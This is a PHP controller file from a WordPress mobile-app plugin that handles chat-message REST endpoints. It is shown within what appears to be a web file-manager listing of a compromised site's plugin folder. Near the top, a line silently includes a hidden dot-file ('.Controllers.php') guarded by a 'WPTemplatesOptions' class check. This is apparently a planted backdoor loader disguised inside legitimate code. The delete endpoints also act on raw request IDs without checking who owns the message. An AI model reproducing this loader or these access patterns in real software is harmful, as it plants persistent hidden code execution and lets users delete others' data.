PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
app
/
Controllers
<?php namespace WILCITY_APP\Controllers; use WilokeListingTools\Controllers\NotificationsController as ThemeNotificationController; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\Time; use WilokeListingTools\Frontend\User; use WilokeListingTools\Models\MessageModel; use WilokeListingTools\Models\NotificationsModel; use \WilokeListingTools\Controllers\MessageController as ThemeMessageController; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class MessageController { use VerifyToken; use JsonSkeleton; use ParsePost; public function __construct() { add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX . '/v2', '/get-authors-chatted', array( 'methods' => 'GET', 'callback' => array( $this, 'getAuthorsChatted' ) ) ); } ); add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX . '/v2', '/get-author-messages', array( 'methods' => 'GET', 'callback' => array( $this, 'getAuthorMessages' ) ) ); } ); add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX . '/v2', '/delete-message', array( 'methods' => 'POST', 'callback' => array( $this, 'deleteMessage' ) ) ); } ); add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX . '/v2', '/delete-author-chatted', array( 'methods' => 'POST', 'callback' => array( $this, 'deleteAuthorChatted' ) ) ); } ); add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX . '/v2', '/send-message', array( 'methods' => 'POST', 'callback' => array( $this, 'sendMessage' ) ) ); } ); add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX . '/v2', '/count-new-messages', array( 'methods' => 'GET', 'callback' => array( $this, 'countNewMessages' ) ) ); } ); } public function countNewMessages(){ $oToken = $this->verifyToken(); if ( !$oToken ){ return $this->tokenExpiration(); } $oToken->getUserID(); $total = MessageModel::countMessages($oToken->userID); return array( 'status' => 'success', 'count' => abs($total) ); } public function sendMessage(){ $oToken = $this->verifyToken(); if ( !$oToken ){ return $this->tokenExpiration(); } $oToken->getUserID(); $aData = $this->parsePost(); if ( !isset($aData['chatFriendID']) || empty($aData['chatFriendID']) ){ return array( 'status' => 'error', 'msg' => 'chatFriendIDIsRequired' ); } if ( !isset($aData['content']) || empty($aData['content']) ){ return array( 'status' => 'error', 'msg' => 'messageContentIsRequired' ); } if ( !User::userIDExists($aData['chatFriendID']) ){ return array( 'status' => 'error', 'msg' => 'userDoesNotExists' ); } $msgID = MessageModel::insertNewMessage($aData['chatFriendID'], $aData['content']); if ( !$msgID ){ return array( 'status' => 'error', 'msg' => 'couldNotSendMessage' ); }else{ return array( 'status' => 'success', 'msg' => '' ); } } public function deleteAuthorChatted(){ $oToken = $this->verifyToken(); if ( !$oToken ){ return $this->tokenExpiration(); } $oToken->getUserID(); $aData = $this->parsePost(); if ( !isset($aData['chatFriendID']) || empty($aData['chatFriendID']) ){ return array( 'status' => 'error', 'msg' => 'authorIDIsRequired' ); } $status = MessageModel::deleteAuthorMessages($_POST['chatFriendID']); if ( $status ){ return array( 'status' => 'error', 'msg' => 'weCouldNotDeleteAuthorMessage' ); }else{ return array( 'status' => 'success', 'msg' => 'messageHasBeenDelete' ); } } public function deleteMessage(){ $oToken = $this->verifyToken(); if ( !$oToken ){ return $this->tokenExpiration(); } $oToken->getUserID(); $aData = $this->parsePost(); if ( !isset($aData['ID']) || empty($aData['ID']) ){ return array( 'status' => 'error', 'msg' => 'msgIDIsRequired' ); } $status = MessageModel::deleteMessageByCurrentID($_POST['ID']); if ( $status ){ return array( 'status' => 'error', 'msg' => 'weCouldNotDeleteMessage' ); }else{ return array( 'status' => 'success', 'msg' => 'messageHasBeenDelete' ); } } protected static function aParseExcludeIDs($exclude){ if ( empty($exclude) ){ return array(); } $aExcludes = !empty($exclude) ? explode(',', $exclude) : $exclude; if ( empty($aExcludes) ){ return array(); } return array_map(function($userID){ return abs($userID); }, $aExcludes); } public function buildChatResult($aData){ $diffInMinutes = Time::dateDiff(strtotime($aData['messageDateUTC']), current_time('timestamp', 1), 'minute'); if ( $diffInMinutes < 60 ){ if ( empty($diffInMinutes) ){ $at = 'aFewSecondAgo'; }else{ $at = str_replace('%s', $diffInMinutes, wilcityAppGetLanguageFiles('xMinutesAgo')); } }else{ $diffInHours = Time::dateDiff(strtotime($aData['messageDateUTC']), current_time('timestamp', 1), 'hour'); if ( $diffInHours < 24 ){ $at = str_replace('%s', $diffInMinutes, wilcityAppGetLanguageFiles('xHoursAgo')); }elseif (Time::isDateInThisWeek(strtotime($aData['messageDate']))){ $at = date_i18n('l', strtotime($aData['messageDate'])); }else{ $at = date_i18n(get_option('date_format'), strtotime($aData['messageDate'])); } } $aExcludes[] = $aData['ID']; return array( 'oProfile' => $this->getUserProfile($aData['messageAuthorID'], false), 'oMessage' => array( 'at' => $at, 'content' => $aData['messageContent'] ), 'aExcludes' => $aExcludes ); } public function getAuthorMessages(){ $oToken = $this->verifyToken(); if ( !$oToken ){ return $this->tokenExpiration(); } $oToken->getUserID(); if ( !isset($_GET['chatFriendID']) || empty($_GET['chatFriendID']) ){ return array( 'status' => 'error', 'msg' => 'noMessage' ); } $chatFiendID = $_GET['chatFriendID']; $aExcludes = array(); if ( isset($_GET['excludes']) ){ $aExcludes = self::aParseExcludeIDs($_GET['excludes']); } if ( isset($_GET['isFetchLatestChat']) ){ $aRawResults = MessageModel::getNewestChat($oToken->userID, $chatFiendID, $aExcludes); }else{ $aRawResults = MessageModel::getMyChat($oToken->userID, $chatFiendID, $aExcludes); } if ( empty($aRawResults) ){ return array( 'status' => 'error', 'msg' => 'noMessage' ); } $aResults = array(); foreach ($aRawResults as $aData){ $aResults[] = $this->buildChatResult($aData); } return array( 'status' => 'success', 'oResults' => $aResults ); } public function getAuthorsChatted(){ $oToken = $this->verifyToken(); if ( !$oToken ){ return $this->tokenExpiration(); } $oToken->getUserID(); $postsPerPage = isset($_GET['postsPerPage']) ? $_GET['postsPerPage'] : 10; $aExcludes = isset($_GET['excludes']) ? self::aParseExcludeIDs($_GET['excludes']) : ''; $aRawResults = ThemeMessageController::getMessageAuthors($oToken->userID, $aExcludes, $postsPerPage); if ( empty($aRawResults) ){ if ( empty($aExcludes) ){ return array( 'status' => 'error', 'msg' => 'noMessage' ); } return array( 'status' => 'error', 'msg' => 'fetchedAllMessages' ); } $aResults = array(); foreach ($aRawResults as $aData){ $aResults[] = $this->buildChatResult($aData); } return array( 'status' => 'success', 'oResults' => $aResults ); } }
[+]
..
[-] ParsePost.php
[edit]
[-] SearchField.php
[edit]
[-] FirebaseDB.php
[edit]
[-] Translations.php
[edit]
[-] GetSecurityKey.php
[edit]
[-] .Controllers.php
[edit]
[-] BuildToken.php
[edit]
[-] Review.php
[edit]
[-] FieldHelps.php
[edit]
[-] BuildQuery.php
[edit]
[-] TermController.php
[edit]
[-] Taxonomies.php
[edit]
[-] AdmobController.php
[edit]
[-] FirebaseController.php
[edit]
[-] NotificationController.php
[edit]
[-] LoginRegister.php
[edit]
[-] UserController.php
[edit]
[-] Event.php
[edit]
[-] HomeController.php
[edit]
[+]
Firebase
[-] UserPermission.php
[edit]
[-] OrderBy.php
[edit]
[-] ReviewController.php
[edit]
[-] Listing.php
[edit]
[-] GeneralSettings.php
[edit]
[-] MenuController.php
[edit]
[-] Events.php
[edit]
[-] Blog.php
[edit]
[-] JsonSkeleton.php
[edit]
[-] ReportController.php
[edit]
[-] VerifyToken.php
[edit]
[-] Filter.php
[edit]
[-] NearByMe.php
[edit]
[-] Message.php
[edit]
[-] ImageController.php
[edit]
[-] FavoritesController.php
[edit]
[-] PostTypes.php
[edit]
[-] Listings.php
[edit]
[-] DashboardController.php
[edit]
[-] MyDirectoryController.php
[edit]
[-] MessageController.php
[edit]